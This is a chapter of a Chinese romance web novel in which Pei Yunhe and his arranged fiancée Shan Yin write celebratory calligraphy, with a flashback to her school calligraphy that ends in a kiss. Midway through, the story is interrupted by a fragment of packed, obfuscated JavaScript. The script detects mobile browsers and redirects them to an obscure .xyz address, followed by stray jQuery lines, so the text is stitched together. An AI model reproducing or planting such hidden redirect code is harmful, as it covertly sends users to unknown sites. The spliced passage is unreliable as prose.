用过早饭,裴云鹤叫着单吟到了书房。
裴家一家除了裴云妙,皆好文学古韵,身上多少沾染了些书卷意气,书房是整个松泠居的别墅内布置得最为雅致的地方。
单吟刚一进屋便闻到了一股馨幽的墨香,她抬眸朝窗边的一方黄花梨翘头书案望去,上头已铺了一沓四四方方的红纸,镇纸镇着,旁边一方凤栖祥云纹端砚里已研好了墨。
许是掺了金墨与金箔,映着窗外朝阳,流光奕奕,光明灿烂。
裴云鹤亭亭立在书案旁边,衬衫的袖口卷起,见单吟来了,他放下手中墨条,招呼她:“来。”
单吟朝他过去,鞋跟在木地板上轻巧发出“哒哒”的声响,踏进了他的心里。
他抛给她一个锦盒,单吟打开一看,里头是一方彩绘描金的朱砂鸳鸯墨。
单吟讶然,“这是?”
“虽说是你来赔罪,但我也不能光占你便宜。”裴云鹤摸摸鼻骨,“一点谢礼。”
他没敢说这是他那日专程从倚兰洲拿的。
知道联姻已定后,他从国外飞回南乔的路上刚巧想起自己在倚兰洲还收了两方好墨,一方可开了用来写喜字,另一方正好做见面礼赠给他素未谋面过的联姻对象。
只是没想到联姻对象竟然是单吟,两方墨刚巧又用到、赠到了点子上。
他是欣喜的,就是那天被单吟一气又不想将墨送出去了,这才拖到了今日。
单吟不晓得裴云鹤所思所想,只伸手轻轻抚过那方鸳鸯墨。
墨色纯正,砂质细润,描金绘彩,正面浮雕的鸳鸯戏水图栩栩如生。
她心头喜爱,抬起头问裴云鹤:“你要我帮什么忙?”
“替家里写几张喜字。”
裴云鹤从笔架上挑了支狼毫递给她,单吟跟着他,目光在红纸上落下。
前几日便有听闻,裴家逢年过节遇喜事,习俗守旧,家人团聚时最热闹最好玩的便是满院子里挂红灯笼贴红纸,而那些对联和大字皆是由裴家人自己写的。早些时候裴客朗写得多,后来他年纪上来,裴云鹤便成了主力。
难怪裴云鹤会说叫她帮忙。
她估量了那沓红纸,不在少数。
不过抽一个上午来写完这些也不算什么,她自幼喜静,无论是儿时苏道生教她写字,还是长成后她闲暇时胡乱写几个字画一幅画,动辄将自己关在书房几个小时也是有的。
而且她害得裴云鹤险些着凉感冒,她心有歉意,答应他帮忙就是答应了,也不会反悔。
只是……
“你怎么晓得我会写字?”
单吟接过那支狼毫笔,转身走到书案里侧。
裴云鹤将镇纸拿在手里盘转一瞬,眼梢微挑,眸子里也如那金墨泛起金光。
“我自然晓得。”
单吟不解。
不过她很快琢磨过来。
也是。
她出身云苏苏家,外公苏道生在书法篆刻上算是颇有造诣,她自小跟着苏道生长大,耳濡目染也算小有所成,这些年她在苏家除了跟着苏道生一起打理些简单的事务外,闲暇时就爱作点字画,倒还真得了些人的赏识。
只是这些事她从来没有和裴家人提过,想来裴云鹤会知道,多半是知晓要与她联姻后,提前叫人去打听查问了。
单吟并不介意裴云鹤调查她,这本来就是联姻两家应该做的事。
她拾起狼毫笔蘸了些墨。
“写什么字体?”
“随你喜欢。”
裴云鹤懒懒仰头,明明这是裴家的重头戏,他还早早来研墨裁纸,还专程叫了她来,可现在看着又是并没有太把这事放在心上似的。
单吟拿捏不准,敛着眉思忖片刻,落笔。
狼毫控锋强劲、笔画规整,最适宜写楷书与行书,单吟稍试了几张后,逐渐找来了些许手感,原本还敛着的眉头渐渐舒展开来。
她又写两张,落笔越发劲挺流畅,将性子里收敛的那一些些锋芒都融在了笔触里,一气呵成,好不自在。
但她忽然又皱起眉来,调出的金墨浮在红纸之上,行书恣意,楷书挺拔,好看是好看,却到底写的是个端庄规整的喜字,有些不衬。
稍稍一琢磨,单吟微不可察地摇了摇头,又抽出几张纸,这回刻意藏锋逆锋,饶是握着一杆狼毫,也稳稳写出了隶书与篆体。
左右一看,似乎还是不满意,又换了张纸出来,再沉住气细细写过,端着笔看了好久,这才笑了。
她放下笔,小心翼翼地将那张隶书喜字递到裴云鹤面前,刚想问他哪种好些,叫他来选,却蓦然对上他微微发怔的眼神。
“你?”
“写完了?”
裴云鹤被单吟出声打断回忆,他朝她手中一看,她两手正献宝似的托着张隶书双喜大字。
嘁,到底是把他忘了。
他在心中愤懑嘲了一声。
云苏苏家单吟写得一手好字,最擅便是小楷,当年在学校的文化节上可没少获好评。
那时还是他一力举荐单吟去写字的,他一眼就看中了她的小楷,明明多画两幅画对他来说也不是什么难事,却依旧使唤着当时讨了个生活委员当官做的孟川去磨班长,硬是让班长说动了单吟也写一幅字,代表班级参加文化节。
孟川怄他:“你也手断了么?多画两幅画会死?不知道我和班长不对付呢?”
裴云鹤白他一眼:“拿人粮饷、食人俸禄,你当个生活委员就要替人民办事。”
“这是一回事吗?”
“怎么不是?”
裴云鹤指着前排一位手上缠纱布的男同学道:“老白叫我出两幅字,叫他画画。可他现在把手给摔断了,我一个人怎么能全包?”
他头头是道:“这不叫替我分担,这叫为班级出力。”
孟川两眼一翻往后倒,说不过他便不说,反正单吟也答应了。
只是没想到这事仍旧一波三折。
第一日,班长把这活交给了单吟,她温温软软答应了,第二天就带了一幅字来。
可还不等班长把字交上去,那幅被单吟放在课桌上的字转眼就被茶水打了个透湿,打闹的同学悻悻赔罪也抢救不回来了。
裴云鹤在心里直呼可惜,他只在课间路过单吟的课桌时瞥见过她写的字,好不容易说动她写了一幅墨宝,卷轴还没打开便没了。
他看着单吟面上萦绕的愁色,以为单吟不会再写,又暗自后悔叨扰了她,却不想第三日单吟居然再带了一幅字来。
这回她好好封装了,一来学校就找到班长要交给她,本来一路顺顺利利毫无差错,千算万算也算不到,两人拆封交接时又来了个冒失鬼,糊里糊涂撞上班长后背,那幅字撕拉一声,又夭折。
单吟脸上柔柔的笑意都还没褪去,乍见自己的字出师未捷身先死,眼眶里瞬间胧起一层水雾。
这下连一向以好脾气闻名的裴云鹤都发了火,抓着那冒失鬼:“你看没看路!”
“还……来得及吗?”
“什么?”
嘈杂的课间人声鼎沸,单吟一句还来得及吗,出乎所有人的意料。
裴云鹤站在一旁看着她将眼里的雾气眨去,只愧疚难当地小声问着班长:“我明天再写一幅,还来得及交吗?”
他瞬间觉得自己犯了个大错,好端端地叫她写什么字?无端让她受累受委屈!
“来、来得及。”
班长站在单吟面前,斜眼睨着站得几人远的裴云鹤,见他怔怔不说话便赶紧哄着单吟。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128943|180190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“来得及的,不过你要是不想写了也没关系,差一幅就差一幅。”
“没关系,我可以写。”单吟摇头,唇角抿出一丝笑意。
裴云鹤忍不住扬声问:“你没脾气的么?”
单吟垂着头,一笑了之。
所幸最后他们班还是按时交上了两幅画两幅字,单吟那一手小楷端方秀美,柔中有刚,温婉清逸,写曹子建的《洛神赋》,那句翩若惊鸿、婉若游龙,裴云鹤觉得写得不单单是甄宓。
实在难忘。
却不想她现在倒板板正正托着一张隶书来给他看,还如此小心翼翼,恭敬又讨好。
怎么?他就这么不识风雅?
老实说,单吟的字挑不出半点错处,任谁来赏都是要夸赞一句的。
但裴云鹤不高兴,一想起她彻彻底底没记起他,他就不高兴。
“这张太柔,一点都没有喜庆的意思。不行。”
“这张……勉勉强强吧,最后收笔太急。”
“这张笔锋过于犀利了!单吟,你是要跟我结婚还是要跟我拼命?”
单吟缄默半天。
“是你给我挑的狼毫。”
“……”
裴云鹤要被她气死。
专挑狼毫不就是为了看她写小楷?
结果她写隶书来献宝还将他好心当做驴肝肺?
“单吟,你是来克我的。”
他愤愤咬牙,一瞬不瞬地盯着她,极力想在她那双清冷的狐狸眼里看出些什么波澜。
哪怕是一点点为他而生的都好啊。
可她却倏然垂下头,又温声软语道:“那我再写过,写到你满意吧。”
那轻柔的语调,顷刻化作翻山越岭的春雨和风,浇熄了他胸腔之中的磅礴怒意。
火山也为她温柔,岩浆浓烟消融成江南的一道清溪,脉脉在他血液之中流淌。
裴云鹤哑了半瞬,不知不觉开口:“你……没脾气的么。”
单吟笔锋一顿,愣了一下。
但她抬头看向裴云鹤时,裴云鹤还是确认她没有想起。
单吟眨眼,似是不解:“我为什么要生气?本来就是向你赔罪的。”
裴云鹤溃败。
他不敢再去看她那双眼睛,视线往下一垂,落在了她冰肌胜雪的脸颊上。
只是如羊脂雕琢、透亮晶莹的肌肤间,霍然多出了一滴不知什么时候溅上去的墨点。配上她那无波无澜的表情,实在有些不搭。
甚至还有些滑稽,有些生动。
裴云鹤想替单吟抹掉那墨点,私心去感受一瞬这样鲜活的她,可手指刚抬动两下,却又觉得不妥。
他定了定神,喉头吞咽一次。
“这里。”
他看着单吟,然后在他自己的脸颊上轻点了两下,示意单吟她同样的位置有东西。
熹光之下,单吟的狐狸眼骤然瞪大了,瞳孔逆着光依旧紧缩了不少,只是在那样柔和而几近朦胧的光中,裴云鹤没有看清她眼眸里流转的情绪。
“这里。”
他耐着性子再次示意。
他不明白他提醒单吟脸上有墨点,单吟为什么要咬唇。
是觉得脸上沾了墨,失了礼数?
倒也不必。
他凝眸注视在她唇上。
好好一瓣绛唇被牙齿咬得泛出白色,像朱白渐变的盈润玉石,却不知那里的触感是怎样,是否也会像盈润的玉石一般光滑柔软。
好看是好看,但他怕她痛。
于是他下意识倾身向前,“你……”
刚想出声制止,面前光影倏忽一颤。
裴云鹤的眼瞳骤然也在熹光之下缩紧了。
方才还被他好奇触感的唇瓣,正烙下一吻在他脸侧。